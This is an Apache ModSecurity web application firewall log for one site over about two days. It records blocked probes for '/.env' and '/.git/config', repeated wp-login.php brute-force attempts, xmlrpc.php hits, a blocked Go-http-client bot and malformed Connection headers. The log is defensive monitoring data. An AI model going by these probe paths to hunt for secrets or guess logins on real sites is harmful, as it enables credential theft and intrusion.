[Sat Jan 17 11:22:12.755369 2026] [:error] [pid 31225:tid 31304] [client 104.207.39.6:35727] [client 104.207.39.6] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aWsAZOnu2L2yWFDbzyVNHgAAAJA"]
[Sat Jan 17 14:03:26.830893 2026] [:error] [pid 31223:tid 31252] [client 43.164.195.17:56200] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWsmLkMnpeq0T1sEOlKpfwAAABM"]
[Sat Jan 17 15:40:43.410580 2026] [:error] [pid 31225:tid 31290] [client 49.51.183.84:46966] [client 49.51.183.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWs8--nu2L2yWFDbzyWkEAAAAII"]
[Sat Jan 17 21:07:50.553673 2026] [:error] [pid 31224:tid 31281] [client 104.28.161.73:44490] [client 104.28.161.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aWuJpjgpVpEMk8-OQkgs-AAAAFQ"]
[Sat Jan 17 22:09:40.909478 2026] [:error] [pid 31223:tid 31237] [client 175.6.217.4:58266] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWuYJEMnpeq0T1sEOlIAkQAAAAQ"]
[Sat Jan 17 22:43:22.150225 2026] [:error] [pid 31223:tid 31240] [client 170.106.167.214:41240] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWugCkMnpeq0T1sEOlIF5AAAAAc"]
[Sun Jan 18 01:57:15.363269 2026] [:error] [pid 31225:tid 31297] [client 216.81.248.168:58064] [client 216.81.248.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aWvNe-nu2L2yWFDbzyVEtAAAAIk"]
[Sun Jan 18 07:49:34.114367 2026] [:error] [pid 12924:tid 12971] [client 43.164.197.177:37016] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWwgDiuv3PUo9LR6V6ZFVAAAAEs"]
[Sun Jan 18 08:35:32.169753 2026] [:error] [pid 12924:tid 12975] [client 134.255.233.75:65460] [client 134.255.233.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aWwq1Cuv3PUo9LR6V6ZQbwAAAE8"]
[Sun Jan 18 10:51:49.237486 2026] [:error] [pid 12925:tid 13010] [client 180.110.203.108:57862] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWxKxfsBL-4pnmSbziih9gAAAJY"]
[Sun Jan 18 17:20:18.254482 2026] [:error] [pid 12925:tid 12998] [client 114.80.36.40:48632] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWyl0vsBL-4pnmSbzigoQQAAAIo"]
[Sun Jan 18 17:57:56.795161 2026] [:error] [pid 13034:tid 13049] [client 221.158.245.35:9040] [client 221.158.245.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 221.158.245.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWyupMRGpUu1E8cmbmhvywAAAMs"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 17:57:58.695220 2026] [:error] [pid 13034:tid 13059] [client 221.158.245.35:9040] [client 221.158.245.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 221.158.245.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWyupsRGpUu1E8cmbmhvzwAAANU"], referer: https://danwebster.ca/wp-login.php
[Sun Jan 18 18:32:49.264222 2026] [:error] [pid 13034:tid 13047] [client 154.90.48.62:45748] [client 154.90.48.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.90.48.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWy20cRGpUu1E8cmbmiDkwAAAMk"]
[Sun Jan 18 18:45:04.511105 2026] [:error] [pid 33494:tid 33509] [client 45.56.222.60:47450] [client 45.56.222.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.56.222.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy5sLxmLR_50TtKxDIIRAAAAQs"]
[Sun Jan 18 18:45:07.742794 2026] [:error] [pid 13034:tid 13057] [client 45.56.222.60:51870] [client 45.56.222.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.56.222.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy5s8RGpUu1E8cmbmiH_QAAANM"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 18:48:31.492093 2026] [:error] [pid 33494:tid 33499] [client 162.241.226.202:13292] [client 162.241.226.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy6f7xmLR_50TtKxDIJdQAAAQE"]
[Sun Jan 18 18:48:33.480339 2026] [:error] [pid 33494:tid 33513] [client 162.241.226.202:13292] [client 162.241.226.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy6gbxmLR_50TtKxDIJfgAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 18:54:24.856667 2026] [:error] [pid 12925:tid 13001] [client 162.241.230.132:25290] [client 162.241.230.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.230.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy74PsBL-4pnmSbzihIeAAAAI0"]
[Sun Jan 18 18:54:26.716188 2026] [:error] [pid 12925:tid 12996] [client 162.241.230.132:25290] [client 162.241.230.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.230.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy74vsBL-4pnmSbzihIeQAAAIg"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 18:58:10.123704 2026] [:error] [pid 33494:tid 33505] [client 216.69.173.59:51268] [client 216.69.173.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.69.173.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy8wrxmLR_50TtKxDINWgAAAQc"]
[Sun Jan 18 18:58:13.307714 2026] [:error] [pid 12923:tid 12936] [client 216.69.173.59:51278] [client 216.69.173.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.69.173.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWy8xesWURrrC-4Rx5J7qAAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 19:00:14.637102 2026] [:error] [pid 37885:tid 37910] [client 57.151.82.21:60902] [client 57.151.82.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.151.82.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWy9PoIjOL7XA82H72V3bAAAAVY"]
[Sun Jan 18 19:14:37.209752 2026] [:error] [pid 37885:tid 37893] [client 66.33.212.6:52820] [client 66.33.212.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.33.212.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzAnYIjOL7XA82H72V8_gAAAUU"]
[Sun Jan 18 19:27:38.296175 2026] [:error] [pid 33494:tid 33517] [client 162.241.225.213:50454] [client 162.241.225.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.225.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzDqrxmLR_50TtKxDIWbwAAARM"]
[Sun Jan 18 19:27:41.289410 2026] [:error] [pid 33494:tid 33506] [client 162.241.225.213:50454] [client 162.241.225.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.225.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzDrbxmLR_50TtKxDIWcQAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 19:36:30.966206 2026] [:error] [pid 12925:tid 13011] [client 103.28.36.205:42604] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzFvvsBL-4pnmSbzihRwQAAAJc"]
[Sun Jan 18 19:36:34.042563 2026] [:error] [pid 12925:tid 13001] [client 103.28.36.205:42872] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzFwvsBL-4pnmSbzihSAQAAAI0"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 19:39:45.475388 2026] [:error] [pid 12923:tid 12941] [client 162.241.252.200:32628] [client 162.241.252.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.252.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWzGgesWURrrC-4Rx5KDzwAAAAk"]
[Sun Jan 18 19:55:28.353777 2026] [:error] [pid 12925:tid 13010] [client 178.23.187.14:45988] [client 178.23.187.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.23.187.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzKMPsBL-4pnmSbzihXTAAAAJY"]
[Sun Jan 18 19:55:32.136499 2026] [:error] [pid 37885:tid 37890] [client 178.23.187.14:34232] [client 178.23.187.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.23.187.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzKNIIjOL7XA82H72WM8gAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 19:58:28.761635 2026] [:error] [pid 13034:tid 13052] [client 135.236.141.99:36422] [client 135.236.141.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzK5MRGpUu1E8cmbmibDQAAAM4"]
[Sun Jan 18 19:58:30.364854 2026] [:error] [pid 13034:tid 13056] [client 135.236.141.99:36422] [client 135.236.141.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzK5sRGpUu1E8cmbmibDgAAANI"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 19:58:37.937000 2026] [:error] [pid 12925:tid 13000] [client 81.88.49.33:19894] [client 81.88.49.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.49.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWzK7fsBL-4pnmSbzihXuQAAAIw"]
[Sun Jan 18 20:04:26.632604 2026] [:error] [pid 33494:tid 33518] [client 57.151.82.21:55618] [client 57.151.82.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.151.82.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzMSrxmLR_50TtKxDIihQAAARQ"]
[Sun Jan 18 20:04:36.044532 2026] [:error] [pid 33494:tid 33522] [client 57.151.82.21:50890] [client 57.151.82.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.151.82.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzMVLxmLR_50TtKxDIinAAAARg"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 20:29:27.758269 2026] [:error] [pid 13034:tid 13043] [client 66.135.18.42:54960] [client 66.135.18.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.135.18.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWzSJ8RGpUu1E8cmbmilBgAAAMU"]
[Sun Jan 18 20:33:20.045804 2026] [:error] [pid 37885:tid 37907] [client 162.241.230.119:59552] [client 162.241.230.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.230.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzTEIIjOL7XA82H72WYZgAAAVM"]
[Sun Jan 18 20:33:28.056927 2026] [:error] [pid 37885:tid 37906] [client 162.241.230.119:37924] [client 162.241.230.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.230.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzTGIIjOL7XA82H72WYbAAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 20:58:11.562467 2026] [:error] [pid 12924:tid 12975] [client 103.26.10.123:39000] [client 103.26.10.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.26.10.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzY4yuv3PUo9LR6V6ZBNwAAAE8"]
[Sun Jan 18 20:58:13.375184 2026] [:error] [pid 12924:tid 12973] [client 103.26.10.123:39000] [client 103.26.10.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.26.10.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzY5Suv3PUo9LR6V6ZBOgAAAE0"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 21:45:12.675586 2026] [:error] [pid 13034:tid 13052] [client 162.241.226.115:46218] [client 162.241.226.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzj6MRGpUu1E8cmbmizygAAAM4"]
[Sun Jan 18 22:10:57.975931 2026] [:error] [pid 37885:tid 37897] [client 104.28.153.5:19667] [client 104.28.153.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aWzp8YIjOL7XA82H72WqRgAAAUk"]
[Sun Jan 18 22:17:55.262112 2026] [:error] [pid 13034:tid 13037] [client 103.20.96.93:44856] [client 103.20.96.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.20.96.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzrk8RGpUu1E8cmbmi5YQAAAME"]
[Sun Jan 18 22:18:09.922475 2026] [:error] [pid 13034:tid 13047] [client 103.20.96.93:36052] [client 103.20.96.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.20.96.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzrocRGpUu1E8cmbmi5dQAAAMk"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 22:19:54.768266 2026] [:error] [pid 7225:tid 7229] [client 154.90.48.62:57576] [client 154.90.48.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.90.48.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzsCherEBx_0YV4eGNBeAAAAYI"]
[Sun Jan 18 22:19:57.633771 2026] [:error] [pid 7225:tid 7227] [client 154.90.48.62:57576] [client 154.90.48.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.90.48.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzsDRerEBx_0YV4eGNBeQAAAYA"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 22:27:18.728941 2026] [:error] [pid 11650:tid 11672] [client 129.152.12.94:60210] [client 129.152.12.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.152.12.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWztxkJ_hGOO27rOLtGiWgAAAhI"]
[Sun Jan 18 22:29:39.357589 2026] [:error] [pid 11710:tid 11771] [client 139.99.9.144:44326] [client 139.99.9.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.99.9.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzuU2CouWwzZ0YcmFZr-QAAAwM"]
[Sun Jan 18 22:29:41.001208 2026] [:error] [pid 11710:tid 11774] [client 139.99.9.144:44326] [client 139.99.9.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.99.9.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWzuVWCouWwzZ0YcmFZr-wAAAwY"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 18 23:34:00.582284 2026] [:error] [pid 37885:tid 37894] [client 106.227.49.113:46184] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWz9aIIjOL7XA82H72W0OwAAAUY"]
[Sun Jan 18 23:53:21.244650 2026] [:error] [pid 37885:tid 37889] [client 103.145.51.107:58434] [client 103.145.51.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.145.51.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0B8YIjOL7XA82H72W3KwAAAUE"]
[Sun Jan 18 23:53:30.782694 2026] [:error] [pid 7225:tid 7238] [client 103.145.51.107:57568] [client 103.145.51.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.145.51.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0B-herEBx_0YV4eGNPUAAAAYs"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 00:11:26.222211 2026] [:error] [pid 7225:tid 7250] [client 208.97.186.101:48952] [client 208.97.186.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.186.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0GLherEBx_0YV4eGNSLAAAAZc"]
